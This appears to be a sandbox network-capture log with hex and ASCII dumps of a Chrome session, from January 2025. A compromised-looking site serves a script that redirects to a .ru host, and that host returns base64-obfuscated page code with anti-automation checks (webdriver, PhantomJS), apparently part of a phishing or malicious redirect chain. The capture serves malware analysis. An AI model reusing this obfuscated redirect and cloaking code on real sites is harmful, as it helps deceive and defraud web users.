2025-01-09 03:28:31 UTC	428	OUT	GET /res444.php?2-68747470733a2f2f636369712e6162736f757369756d2e72752f6f3562384458412f-beech HTTP/1.1 Host: ecohomethings.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:31 UTC	196	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:31 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-01-09 03:28:31 UTC	1999	IN	Data Raw: 37 63 33 0d 0a 20 20 20 20 76 61 72 20 61 6b 61 69 57 62 41 57 41 56 49 6e 75 45 5a 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 61 6b 61 69 57 62 41 57 41 56 49 6e 75 45 5a 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 61 6b 61 69 57 62 41 57 41 56 49 6e 75 45 5a 73 29 3b 0d 0a 61 6b 61 69 57 62 41 57 41 56 49 6e 75 45 5a 73 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7c3 var akaiWbAWAVInuEZs = document.createElement("script");akaiWbAWAVInuEZs.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(akaiWbAWAVInuEZs);akaiWbAWAVInuEZs.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	104.17.24.14	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:32 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:32 UTC	955	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:32 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1 Expires: Tue, 30 Dec 2025 03:28:32 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KkJU9cG8EHpmAsmw38YkeDlBER%2B0nKishI83AGV4nSCfo1SU6JBH709ymbzOow%2BATOSbWbYA6m4mZ77T1WlZgJn%2FL%2BPS2SI7tjjmo1kbAoPlpsKAO3LuzO1QzfgpMX2wjsWTVlcb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ff1567c3feac466-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 03:28:32 UTC	414	IN	Data Raw: 37 62 65 65 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bee!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 74 2e 67 Data Ascii: dow.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.g
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 Data Ascii: n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function(
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 65 73 73 42 6c Data Ascii: this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBl
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 Data Ascii: i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0?1:0)
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 Data Ascii: >>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0)+((6
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 37 32 39 36 2a Data Ascii: 2,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 Data Ascii: ,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e Data Ascii: all(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>
2025-01-09 03:28:32 UTC	1369	IN	Data Raw: 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b Data Ascii: ion(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	104.21.16.1	443	6196	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 03:28:33 UTC	654	OUT	GET /o5b8DXA/ HTTP/1.1 Host: cciq.absousium.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 03:28:33 UTC	1242	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5UlobJPkGA1SFnucWq1r4KrMzS6DEc1GqNwPfB%2BTqFZ5g80Hz4l995kVEG%2BhkC1lGPybPnSZOhtYC9vhnqFODs8HLbZI%2BH76leb4FsASCU3oa1qPjjjqXcvbJtELDw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4929&min_rtt=4863&rtt_var=1871&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1557&delivery_rate=585646&cwnd=251&unsent_bytes=0&cid=a6c326a891b662b8&ts=173&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im9qY2pDSjkzTjBkQ0Z5Qi9CaXkvS0E9PSIsInZhbHVlIjoiVjdDdEd6NVNlQS9zRXMvMFZKWkp1QzEwb2dvOFpqTGNreGg1SnhrTExQa1NQaXN3UU1IcDJ5L0hlRkcvNkVnZGhEYmNNZi9pYUJab0R2bHhIcy9kMEhZWXVlWFVWQWRaVXpCN1QzWldZVjIvM2RWay9veUIwMlZ3c0J0RnlURmUiLCJtYWMiOiIwNTg5ZDgwMWJmOGY2ZWRlNzg3YjEyZDYwMGRmMTZmZjNhNmNhYWU5MTAyZGVlZWQwMTZkYzE0MDlhNDA5OGNmIiwidGFnIjoiIn0%3D; expires=Thu, 09-Jan-2025 05:28:33 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-01-09 03:28:33 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 4e 4d 59 32 38 78 59 6b 35 76 53 6c 4e 53 53 6d 51 76 61 48 4e 79 4e 47 30 79 5a 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 57 45 46 4f 56 58 46 69 56 32 56 4d 59 31 51 79 52 30 46 43 62 6c 4e 43 54 48 59 79 4f 48 70 56 4d 30 35 50 53 48 4a 4c 4f 47 56 68 51 55 4d 32 62 32 68 77 4e 30 74 53 4d 6d 35 77 4d 31 6c 48 4e 33 46 74 63 6c 4e 49 53 6a 68 46 53 32 64 78 56 6d 70 73 4b 7a 6b 31 59 6b 68 45 4d 56 68 35 56 30 4a 55 4d 46 46 70 54 6a 68 32 56 54 56 6f 54 6d 31 6c 62 32 39 74 65 44 68 4f 4f 57 52 48 51 57 52 5a 4f 47 56 68 5a 47 4e 55 59 30 64 35 65 6b 51 35 55 6a 5a 6d 54 58 64 4a 52 57 4e 36 53 69 38 72 53 43 38 78 62 6b 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImNMY28xYk5vSlNSSmQvaHNyNG0yZlE9PSIsInZhbHVlIjoiWEFOVXFiV2VMY1QyR0FCblNCTHYyOHpVM05PSHJLOGVhQUM2b2hwN0tSMm5wM1lHN3FtclNISjhFS2dxVmpsKzk1YkhEMVh5V0JUMFFpTjh2VTVoTm1lb29teDhOOWRHQWRZOGVhZGNUY0d5ekQ5UjZmTXdJRWN6Si8rSC8xbkk
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 38 35 62 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 6a 59 32 6c 78 4c 6d 46 69 63 32 39 31 63 32 6c 31 62 53 35 79 64 53 39 76 4e 57 49 34 52 46 68 42 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 Data Ascii: 85b<script>if(atob("aHR0cHM6Ly9jY2lxLmFic291c2l1bS5ydS9vNWI4RFhBLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF
2025-01-09 03:28:33 UTC	777	IN	Data Raw: 44 56 77 65 44 73 76 4b 6e 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 79 6f 76 63 47 46 6b 5a 47 6c 75 5a 79 31 79 61 57 64 6f 64 44 6f 67 64 6d 46 79 4b 43 30 74 59 6e 4d 74 5a 33 56 30 64 47 56 79 4c 58 67 73 49 43 34 33 4e 58 4a 6c 62 53 6b 37 63 47 46 6b 5a 47 6c 75 5a 79 31 73 5a 57 5a 30 4f 69 42 32 59 58 49 6f 4c 53 31 69 63 79 31 6e 64 58 52 30 5a 58 49 74 65 43 77 67 4c 6a 63 31 63 6d 56 74 4b 54 74 74 59 58 4a 6e 61 57 34 74 63 6d 6c 6e 61 48 51 36 49 47 46 31 64 47 38 37 62 57 46 79 5a 32 6c 75 4c 57 78 6c 5a 6e 51 36 49 47 46 31 64 47 38 37 66 51 30 4b 49 31 6c 61 56 6e 5a 55 64 31 46 55 52 57 59 67 4c 6e 52 6c 65 48 51 74 59 32 56 75 64 47 56 79 49 48 74 30 5a 58 68 30 4c 57 46 73 61 57 64 75 4f 69 42 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 Data Ascii: DVweDsvKndpZHRoOiAxMDAlOyovcGFkZGluZy1yaWdodDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7cGFkZGluZy1sZWZ0OiB2YXIoLS1icy1ndXR0ZXIteCwgLjc1cmVtKTttYXJnaW4tcmlnaHQ6IGF1dG87bWFyZ2luLWxlZnQ6IGF1dG87fQ0KI1laVnZUd1FURWYgLnRleHQtY2VudGVyIHt0ZXh0LWFsaWduOiBjZW50ZXIhaW1w
2025-01-09 03:28:33 UTC	1369	IN	Data Raw: 33 37 30 64 0d 0a 4c 54 51 67 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 49 44 46 79 5a 57 30 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 69 4e 5a 57 6c 5a 32 56 48 64 52 56 45 56 6d 49 43 4e 5a 55 6d 6c 30 55 56 42 30 54 6d 4e 35 49 48 74 6a 62 32 78 76 63 6a 6f 67 49 7a 5a 6a 4e 7a 55 33 5a 44 74 6d 62 32 35 30 4c 58 4e 70 65 6d 55 36 4d 54 52 77 65 44 74 74 59 58 4a 6e 61 57 34 74 64 47 39 77 4f 69 41 75 4e 58 4a 6c 62 54 74 39 44 51 6f 67 49 43 41 67 50 43 39 7a 64 48 6c 73 5a 54 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 50 67 30 4b 49 43 41 67 49 47 6c 6d 49 43 68 75 59 58 5a 70 5a 32 46 30 62 33 49 75 64 32 56 69 5a 48 4a 70 64 6d 56 79 49 48 78 38 49 48 64 70 62 6d 52 76 64 79 35 6a 59 57 78 73 55 47 68 68 62 6e 52 76 62 Data Ascii: 